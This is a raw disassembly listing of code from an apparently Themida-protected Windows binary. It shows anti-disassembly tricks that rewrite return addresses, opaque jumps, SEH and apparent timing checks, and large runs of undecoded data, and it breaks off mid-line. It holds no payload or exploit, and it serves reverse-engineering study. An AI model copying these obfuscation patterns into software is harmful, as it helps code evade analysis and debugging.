sub_5CC0BA proc near ; CODE XREF: Themida_:005CC0B2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5CC0BA endp ; --------------------------------------------------------------------------- cmpsd push edx jo short loc_5CC13F pop ebp or ebx, 7F5873Ch push 0 push eax call sub_5CC0E0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC0E0 proc near ; CODE XREF: Themida_:005CC0D8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5CC0E0 endp ; --------------------------------------------------------------------------- ja short loc_5CC15F cmp dword ptr [ebp+6120011h], 3 jnz loc_5CC53F jg loc_5CC119 call sub_5CC116 fimul word ptr [ecx+2AEFF485h] inc edi sal eax, cl fimul dword ptr [esi] xlat ; =============== S U B R O U T I N E ======================================= sub_5CC116 proc near ; CODE XREF: Themida_:005CC105p ; FUNCTION CHUNK AT 005CC53F SIZE 00000005 BYTES mov edi, esi pop ebx loc_5CC119: ; CODE XREF: Themida_:005CC0FFj jmp loc_5CC126 ; --------------------------------------------------------------------------- dw 0AA3Dh dd 0DCF3D89Ch ; --------------------------------------------------------------------------- fcmovbe st, st(2) loc_5CC126: ; CODE XREF: sub_5CC116:loc_5CC119j cmp dword ptr [ebp+615BD0Ch], 0 jz loc_5CC53F push 0 push ebp call sub_5CC13E and [ebp-3Dh], bl sub_5CC116 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CC13E proc near ; CODE XREF: sub_5CC116+20p arg_4 = dword ptr 8 pop ebp loc_5CC13F: ; CODE XREF: Themida_:005CC0CCj mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5CC13E endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0ED62h dd 1A55BD8Bh, 66F50612h, 0FCB4EB81h db 0FFh, 0B5h, 0Ch ; --------------------------------------------------------------------------- loc_5CC15F: ; CODE XREF: Themida_:005CC0F0j mov ebp, 95FF0615h sub [eax], esp adc al, [esi] push 0 push ebp call sub_5CC173 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC173 proc near ; CODE XREF: Themida_:005CC16Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5CC173 endp ; --------------------------------------------------------------------------- db 3 dd 0E563A767h, 7542B4EBh, 0C57BBB66h, 0BD00B58Bh, 6C70615h dd 10001h, 10E9h, 0A3C62700h, 8487C613h, 0BD10CB5Ch, 9845245Bh dd 3D8D890Ah, 96061221h, 50DE8B66h, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 9757045Ah dd 85097D39h, 612150Dh, 1C7D9D8Bh, 0B5FF0612h, 615BD0Ch dd 0AE852h, 98710000h, 151B896h, 9D519C99h, 11E8h, 687C2E00h dd 0B045EC6h, 9EB7B242h, 583849E2h, 5F5F27ECh, 0E195FF5Fh dd 6A06121Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 6614C357h, 6154E381h, 0BD00B58Bh dd 8E90615h, 47000000h, 7E778AB2h, 8BC79277h, 12303985h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8D897C1Dh, 6122225h, 2F45BD89h, 86890612h dd 0C4h, 8BFA8B66h, 122DCD95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 95B9BCEDh dd 0F2B5C781h, 0C28333FCh, 0BD895304h, 61211D1h, 2050895Fh dd 12518D89h, 858D0612h, 615D0EAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0DAC35040h, 8A40B2F5h, 0B88689FEh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0E80CC355h, 0A26DC649h, 8BE73E0Fh dd 122DF99Dh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0EE11C355h, 66219D75h dd 26FFDF81h, 0BD0CB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 70C4F2C3h, 0D595FF33h dd 6A06122Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 68C9C356h, 0F526096h, 8Ah, 0BB665800h dd 506117B5h, 6A96F98Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FF6AC352h, 15BD0CB5h dd 0FFDE8B06h, 122E2995h, 99BD8B06h, 83061210h, 121189BDh dd 840F0006h, 4Bh, 5E950F9h, 93000000h, 0D1561823h, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0AD0EC356h, 2132AAB3h, 660E3568h, 8B0FF98Bh dd 0Bh, 5890Fh, 81660000h, 669B1AC7h, 0FF676BBBh, 15BD0CB5h dd 0DB816606h, 95FFBF10h, 6122AA5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 4AC35747h, 843C03C3h, 15BD8BF3h dd 0FF06121Bh, 15BD0CB5h, 8E0F6006h, 3, 89CF8B66h, 120EC59Dh dd 95FF6106h, 6121BB1h, 5E8h, 3411DC00h, 0BD8B0551h, 6121759h dd 41BD835Bh, 206122Ah, 74840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29ED54C3h dd 8B783B6Dh, 1218A985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 1A17C968h, 25FD9D8Bh dd 0C60612h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0DA8B663Dh, 43D9D2Bh, 85C70612h dd 6120301h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5CC527 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC527 proc near ; CODE XREF: Themida_:005CC51Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5CC527 endp ; --------------------------------------------------------------------------- db 75h dd 1F40BBFEh db 96h, 0C5h, 0D4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CC116 loc_5CC53F: ; CODE XREF: Themida_:005CC0F9j ; sub_5CC116+17j jmp near ptr dword_5CB414+2F7h ; END OF FUNCTION CHUNK FOR sub_5CC116 ; --------------------------------------------------------------------------- push 0 push edx call sub_5CC54F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC54F proc near ; CODE XREF: Themida_:005CC547p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5CC54F endp ; --------------------------------------------------------------------------- pop es db 67h mov ebx, 0ACF5F4FBh jmp short loc_5CC5E5 ; --------------------------------------------------------------------------- dd 0A19589DBh, 8B061202h, 0EF8166C1h, 858D3830h, 6120065h dd 17599D33h, 0E8500612h, 9, 161C69B2h, 0DDFEBFE6h, 0F98B5095h dd 4895F5Bh, 6850F24h, 8B000000h, 1232719Dh, 8A006A06h dd 6A006ADDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 85F6C352h, 97AFC66Bh, 8DE5B181h dd 170C5F85h, 7DBD0B06h, 8306122Dh, 6A05C0h, 3E852h db 0 ; --------------------------------------------------------------------------- loc_5CC5E5: ; CODE XREF: Themida_:005CC566j add [eax], ah pop edx retn ; --------------------------------------------------------------------------- pop edx mov [esp+4], edx add dword ptr [esp+4], 18h inc edx push edx retn ; --------------------------------------------------------------------------- cli dec eax clc sbb dh, [eax+8A1B589h] adc al, [esi] mov [ebp+61214FDh], esi push eax pusha jmp loc_5CC616 ; --------------------------------------------------------------------------- db 13h, 1Dh, 2Eh db 0A3h, 0BBh ; --------------------------------------------------------------------------- loc_5CC616: ; CODE XREF: Themida_:005CC60Cj mov ebx, 143D3060h popa mov [esp], eax movzx edi, dx push 0 push 0 push edx call sub_5CC62F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC62F proc near ; CODE XREF: Themida_:005CC627p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5CC62F endp ; --------------------------------------------------------------------------- jmp short near ptr byte_5CC6B1 ; --------------------------------------------------------------------------- db 0F0h, 71h, 0DDh dd 3D95897Eh, 6A061203h, 5595FF00h, 6606120Bh, 8D8DDA8Bh dd 6159BCAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0A6C35141h, 0DE8B72ACh, 3704C381h, 0D1FF536Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 13C35040h dd 81BDA6ADh, 0BD833E9Fh, 6120EE9h, 86850F01h db 0 byte_5CC6B1 db 2 dup(0), 6Ah ; CODE XREF: Themida_:005CC63Fj dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0D1D9C357h, 0EABFF2E2h, 0A5EC56FDh, 12E8026Ah dd 0D6000000h, 0AB0AD733h, 1212A11Ah, 0B3DBF365h, 0ACB00618h dd 0D9BF0FD4h, 5250905Bh, 5F515250h, 870F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax pop edi nop push 0 push eax call sub_5CC713 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC713 proc near ; CODE XREF: Themida_:005CC70Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5CC713 endp ; --------------------------------------------------------------------------- db 26h ; --------------------------------------------------------------------------- and dh, 0E3h or al, dl push 66h mov edi, ebx call dword ptr [ebp+6122CD5h] add [ebp+6121B49h], edi jmp loc_5CD50B ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 6170C69h push 0 push ebp call sub_5CC755 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC755 proc near ; CODE XREF: Themida_:005CC74Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5CC755 endp ; --------------------------------------------------------------------------- db 1Bh, 66h, 8Bh ; --------------------------------------------------------------------------- cli jmp loc_5CC77E ; --------------------------------------------------------------------------- jnz short loc_5CC778 mov ds:0D4B2211Ch, al inc byte ptr [ebx+ebp*4] loc_5CC778: ; CODE XREF: Themida_:005CC76Ej dec esp push 1Dh aas xchg eax, ecx pop es loc_5CC77E: ; CODE XREF: Themida_:005CC769j lea eax, [ebp+615968Fh] push 0 push edi call sub_5CC78F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC78F proc near ; CODE XREF: Themida_:005CC787p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5CC78F endp ; --------------------------------------------------------------------------- db 0Ah ; --------------------------------------------------------------------------- lahf rcl dword ptr [ecx-3F7E99A0h], 98h cld jmp loc_5CC7B8 ; --------------------------------------------------------------------------- dw 9804h dd 0D07FA7B3h, 0EBBDE01Bh ; --------------------------------------------------------------------------- loc_5CC7B8: ; CODE XREF: Themida_:005CC7A9j popa mov di, cx push eax mov di, 68A4h mov [esp], eax mov edi, [ebp+61223C5h] push large dword ptr fs:0 push 0 push edx call sub_5CC7DC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC7DC proc near ; CODE XREF: Themida_:005CC7D4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5CC7DC endp ; --------------------------------------------------------------------------- dd 74D98E66h, 21F1AAB0h, 1471BD8Bh, 89640612h, 25h, 999D8900h dd 8906120Ch, 1222FD8Dh, 3585FF06h, 0B061212h, 1229FDBDh dd 5840F06h, 66000000h, 0EECAD781h, 6AFF6Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 482FA8C3h dd 0BEA89317h, 0EE8h, 2C5B4500h, 88868286h, 735C8CACh dd 0F8F0452h, 683h, 0A0EF8100h, 5B58BDF2h, 31F1B5FFh, 0BD8B0612h dd 6121805h, 147595FFh, 0F7E90612h, 0BF000000h, 70334703h dd 800F00B0h, 5, 0F6DF8166h, 5BD8945h, 0E6061234h, 14E970h dd 11620000h, 46F18902h, 8995AE96h, 0EE5DB842h, 0CF11F9A9h dd 71E4E9FDh, 0F613CF5h, 0B983h, 0FA4B300h, 0EB81C8B6h dd 3B4D80D2h, 6BAh, 0C18BF800h, 0C1D9BF0Fh, 9E904E8h, 0F6000000h dd 328D82B7h, 1CA8B19Ah, 89E2F766h, 1207E1B5h, 66C82B06h dd 1E9DEF81h, 8B66D18Bh, 78E9D9h, 0DE90000h, 0CB000000h dd 1D41B2DCh, 526A9B44h, 54A652B5h, 858BB8B3h, 44004E49h dd 0A161BB66h, 8B07C083h, 120865BDh, 0C08306h, 1D459D89h dd 0D03B0612h, 11830Fh, 3BE90000h, 0F000000h, 680h, 11953100h dd 8B061220h, 0FFFFFF8Dh, 0FA8B66FFh, 83D9B70Fh, 840F01E1h dd 1Ah, 0A583DF8Bh, 0FFFFFFFFh, 89DF8BFEh, 4E4995h, 5ABF6644h dd 0E966h, 0B58D0000h, 61684E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 3FC35343h, 0EB906041h, 0E761B0F1h dd 0BD096092h, 6123291h, 0BBB3BA66h, 8B006A61h, 0D98B66DFh dd 29D195FFh, 0B9FC0612h, 0FEEh, 6BF496BBh, 0FCE18342h dd 0A59589h, 6AFC0612h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E961C352h, 8, 412BADB6h dd 1EA4B554h, 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0ADA249Ah, 85AA7CD0h dd 0CE8h, 0B017EF00h, 64A48B17h, 0C06F4194h, 0DBD8B95h dd 5F061208h, 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0E97309C3h, 0A483ACEDh, 0E8FB8B66h dd 0Fh, 4F519E44h, 0CF3A850Fh, 6D21718Ch, 89E24CC3h, 1227BD85h dd 33AD5B06h, 3E8D1C2h, 4E983D0h, 0E780F475h, 50006AE4h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 4BEC5CD7h, 58DBBA33h, 2410BF66h, 0FACF8160h, 350CDDCh dd 1228C5BDh, 880D6106h, 0BF000000h, 3E183CEAh, 2DCD958Bh dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0C4AC00C3h, 0FB7BBEFAh, 8E952B4h, 51000000h dd 815DBD4Ah, 0F20953Fh, 78Ah, 7AB86000h, 617109FDh, 31BD8D8Bh dd 0E9500612h, 0Fh, 664E82FEh, 0F479A5F1h, 0E7008B23h dd 5F7E6C4Bh, 1A859D89h, 8B500612h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 8DC35545h, 81503592h, 0FB919AF7h, 0BD835B1Bh dd 6121419h, 85840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 171AC350h dd 0BD8BB335h, 6123419h, 3699D8Bh, 9D8B0612h, 6120F25h dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 4B8D8DE0h, 6A06124Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B7CBC356h dd 160879C1h, 90CAF4DAh, 9589E1FFh, 6123395h, 11BD83h dd 0F000612h, 45884h, 11BD8300h, 1061200h, 466840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 50D833C3h, 11BD83EBh, 3061200h, 404860Fh, 0BB660000h dd 2960EC70h, 121B9585h, 0D98C6606h, 6604E180h, 0F9D7DF81h dd 840FC90Ah, 131h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 2C35242h, 0BD3BD05Fh, 0CB816684h, 858B7407h dd 61224CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 81C35242h, 0E46BD310h, 91E110DFh, 1DF1BD8Bh, 0B70F0612h dd 8D8533D9h, 81061224h, 5D2E2AE3h, 0E5BB664Bh, 0EE990FBh dd 0EE000000h, 5325150Dh, 177A3C19h, 0FCFD4895h, 52505030h dd 8B66310Fh, 90585ADFh, 8B665153h, 6A5F5FDFh, 0E7816600h dd 0B468F737h, 5386F5EAh, 2404815Fh, 7929194Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C7C35343h, 2ED1B501h dd 95FF0612h, 6123031h, 19880F50h, 0E9000000h, 14h, 40379BCFh dd 0EB394D3Bh, 20732C8h, 55E828EFh, 33E0F1BBh, 0C85895Fh dd 0F0615BDh, 0F83h, 9E800h, 0C1760000h, 124A248Ah, 5B85DBCDh dd 1FAE9h, 89606000h, 122F198Dh, 61F4B506h, 61D6B70Fh dd 10E9h, 0B20E8F00h, 0F777494Bh, 498F2C32h, 0DDB15E3h dd 4858BC0h, 290615BDh, 121A9D85h, 1800C706h, 29000000h dd 121FD18Dh, 8B58B06h, 6A0615BDh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0AE3FC353h dd 59767C9Ch, 8BB63A12h, 1215199Dh, 99858B06h, 6A061223h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8941C357h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0B4EA17Eh, 8E74BFBCh dd 858B16BFh, 61224CDh, 29198589h, 46890612h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 3D22D845h, 0D9B70F13h, 0FABB6696h, 4ABF50D6h, 964C1774h dd 10E9h, 0DEE98200h, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 4B5FF84h dd 6A0615BDh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 7E28C350h, 11633322h, 4E8h, 1F03FF00h dd 2820F00h, 56000000h, 5250505Fh, 0C145BF66h, 8E8310Fh dd 54000000h, 1699AB9Fh, 0E9C15FB9h, 10h, 8202E09Ah, 0C0589C2Ah dd 72797BA4h, 5491DAF5h, 8B585A5Fh, 8A042444h, 8B008BF8h dd 244489DEh, 0A06EBF04h, 6A587639h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 8AC5C356h dd 8D031440h, 15BD0C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 6772238Dh, 0F5B2883Ch dd 10E9h, 45CEF200h, 0B323DC6Ah, 0AFCBA9C0h, 0DED20702h dd 6651508Eh, 895FDA8Bh, 85892404h, 61217A1h, 303195FFh dd 81660612h, 619600F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 42C35747h, 0F9C61DFBh, 3AC6D40h, 0D30F781h dd 858901FAh, 6120B51h, 1185C7h, 30612h, 63BB0000h, 8332CB77h dd 15BD0CBDh, 840F0006h, 92h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 41C35545h, 8D0EF047h, 3DBE64E6h dd 5E9h, 3138E00h, 12E8A24Ch, 0F2000000h, 0F0035780h, 0F89DE22Ah dd 0A5E99B19h, 8AB10CE1h, 59BD8BB4h, 5B06121Ch, 5CE9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 6CF84A6Ah, 0A464B4F5h, 0DE9942Fh, 2F000000h dd 27DC4E38h, 0F6247651h, 0A8F66F47h, 5E9h, 0BFD5AD00h dd 3050F6D7h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 8E0FC0h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4CDCC356h dd 55A33045h, 0D896F804h, 68E0Fh, 9D890000h, 6122395h dd 11BD83h, 0F030612h, 3D685h, 45BD8B00h, 8B061228h, 0CBD83F9h dd 615BDh, 3C1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 9D01E2C3h, 6122D75h dd 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0B30956C3h, 8A0FA7C6h, 6, 38D9D8Bh dd 95FF0612h, 6122029h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A2C35141h, 819D8B53h, 8B061223h, 15BD00B5h dd 0EE906h, 73FD0000h, 9C5ECE1Dh, 9899854Ch, 427D702Eh dd 106C7h, 0CE90001h, 3B000000h, 818D6BFAh, 7C516DCFh dd 50CCC8D5h, 5E8h, 0AC7E0A00h, 5060062Ah, 5A310F52h, 0DA8B6658h dd 34895F61h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0F5BD8BDCh, 50061202h, 8C0Fh, 0FF5F0000h dd 15BD0CB5h, 4ACF8106h, 0FF04D5D9h, 121AE195h, 6860F06h dd 3000000h, 1219A19Dh, 0B58B06h, 8B0615BDh, 12303985h dd 0F8BB6606h, 0F19D8988h, 89061219h, 0C486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0CC519D65h, 86BF577Ah, 5F455898h, 2DCD958Bh, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0A5FED7C3h, 5E596A70h, 4C28335h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 5AC35242h, 52225338h, 11E8h dd 52C0B600h, 0B14A3D03h, 189F4B78h, 91C00B52h, 0BD230902h dd 6120799h, 50895B5Bh, 50006A20h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 8BB5A585h, 1F94B02h, 1223B185h dd 0EA858D06h, 660615D0h, 0F6CBCBBh, 486h, 0E1BF6600h dd 0B8868963h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0CD99C356h, 66A979D0h dd 708DC381h, 21619D09h, 6A0612h, 0FFD9BF0Fh, 15BD0CB5h dd 0ED9D2306h, 0B706122Bh, 0D595FF12h, 2906122Ch, 120459B5h dd 0E5B39606h, 96D88B50h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0EBC35040h, 8FEF3FBBh, 0BB66A852h, 0B5FFC7A9h dd 615BD0Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0A3C35040h, 80046414h, 95FF55F3h, 6122E29h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7EC35545h, 156C83Fh dd 0EDBB6630h, 89BD8305h, 61211h, 43840Fh, 0EE90000h, 3B000000h dd 201F7A74h, 41F32BE7h, 63AA4ACCh, 0FB8B503Eh, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 3AB5C356h, 6820F1Fh, 8B000000h, 1211BDBDh dd 0CB5FF06h, 520615BDh, 0BB5987BBh, 95FF5F35h, 6122AA5h dd 830Fh, 0B5FF0000h, 615BD0Ch, 29D5BD8Bh, 95FF0612h, 6121BB1h dd 163D9589h, 0BD830612h, 6122A41h, 57840F02h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0CA5AC350h, 5087D206h, 18A9858Bh, 6A0612h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 716991C3h, 8B2E6874h, 1228D19Dh, 0C606h, 7F5B509h, 85C70612h dd 6120301h, 0 dd 8166C3B3h, 0E98883D7h, 0FFFFF370h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0E5C35545h, 4479D5EFh, 2E935D47h dd 5BD8979h, 8B061233h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0EC3E708h, 0E6A55C5Eh dd 0D9C3818Ch db 0B7h, 1, 2Ch ; --------------------------------------------------------------------------- loc_5CD50B: ; CODE XREF: Themida_:005CC739j lea eax, [ebp+6120065h] push 0 push ecx call sub_5CD51C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD51C proc near ; CODE XREF: Themida_:005CD514p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5CD51C endp ; --------------------------------------------------------------------------- dd 9DBE44AAh, 71AF50FCh, 0CE46BF66h, 7840Fh, 8F0F0000h dd 1, 8EBF90F9h, 502E60C2h, 6A90FA8Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A8AC357h dd 0C5BD8900h, 6A061225h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 93FE1D63h dd 858D3DC1h, 6171C6Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 90C35646h, 0D9A02F70h, 729AFDC6h, 10E858h dd 304B0000h, 0DC748509h, 0B156B805h, 0C0DF142Ch, 0EF819025h dd 746A9D53h, 5C0835Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 8FC35242h, 0D5BAED77h, 9D230E66h, 6120B1Dh dd 24048950h, 19800F60h, 0E9000000h, 14h, 0D7F78271h, 6A70A5FEh dd 24355E59h, 4363C5AFh, 0BD71D075h, 6830Fh, 8D890000h dd 6120275h, 8B006A61h, 6A006AF8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 84A6C357h dd 0CBECDC4Dh, 3D9D8B00h, 0FF061217h, 120B5595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 1FFEF111h, 8E7A9D44h, 8859D8Bh, 0B7B70612h, 9BCA8D8Dh dd 95890615h, 61210D9h, 128C0Fh, 0AE80000h, 52000000h dd 55F054A6h, 0A8A69ED3h, 5FDA8B3Bh, 39BFD1FFh, 83044BD7h dd 120EE9BDh, 850F0106h, 78h, 6A026Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 2A7F61C3h dd 13229E77h, 66F95EF7h, 25A1F781h, 52505090h, 310FFD8Ah dd 0F98A5250h, 0B6BF310Fh, 5A3AEBF8h, 90585A58h, 18F9BD8Bh dd 95FF0612h, 6122CD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 89C35343h, 93850AFh, 0B5891C1Dh, 61228D9h dd 0D54E9h, 0E800h, 815D0000h, 171C78EDh, 0DB816606h, 858D91E6h dd 615968Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 9CC35747h, 66FB0A87h, 8BEBF5BFh, 4DBD89DFh, 5006122Ch dd 7E8h, 9A883400h, 0F3DE519Fh, 5830Fh, 98BF0000h, 5F4C679Ah dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0E090C352h, 867CBF66h, 64DEB70Fh dd 35FFh, 81660000h, 642D2EDBh, 2589h, 0BD0B0000h, 6121375h dd 123585FFh, 820F0612h, 17h, 0BE8h, 1C2FDC00h, 0C19221FCh dd 56540C0Eh, 8A0Fh, 8B5F0000h, 122E55BDh, 0FFF6A06h, 386h dd 0F98B6600h, 835B5FFh, 0FFF90612h, 12147595h, 133E906h dd 9D010000h, 612043Dh, 0BD8900B0h, 6121505h, 71E470E6h dd 1DBD0952h, 5B06120Bh, 830F613Ch, 111h, 10E9h, 0FD953A00h dd 0C435FEE7h, 8539CF2Dh, 0C5B77F24h, 0FE8B663Bh, 89C8B60Fh dd 1228658Dh, 6BA06h, 0C18B0000h, 17830Fh, 12E90000h, 3B000000h dd 0EDEB3CB8h, 81687DA6h, 2CEF99Ch, 42D42630h, 4E8C1D5h dd 66FABF0Fh, 0FD8AE2F7h, 2BFE8B66h, 0FFB70FC8h, 0E960D18Bh dd 0Ch, 0A95D15B5h, 62259A8Eh, 3DDE33AFh, 66EB8166h, 9D096194h dd 6122D21h, 94E9h, 6830F00h, 8B000000h, 12268DBDh, 4C858B06h dd 0F505F4Ch, 8Fh, 7C08300h, 0DC5BB5BBh, 0C08335h, 3B5FF853h dd 0E830FD0h, 0F9000000h, 9CBC78BBh, 5BE91Eh, 8B660000h dd 0FF8D8BFAh, 29FFFFFFh, 1200298Dh, 1E18306h, 43840Fh dd 8C0F0000h, 13h, 9E8h, 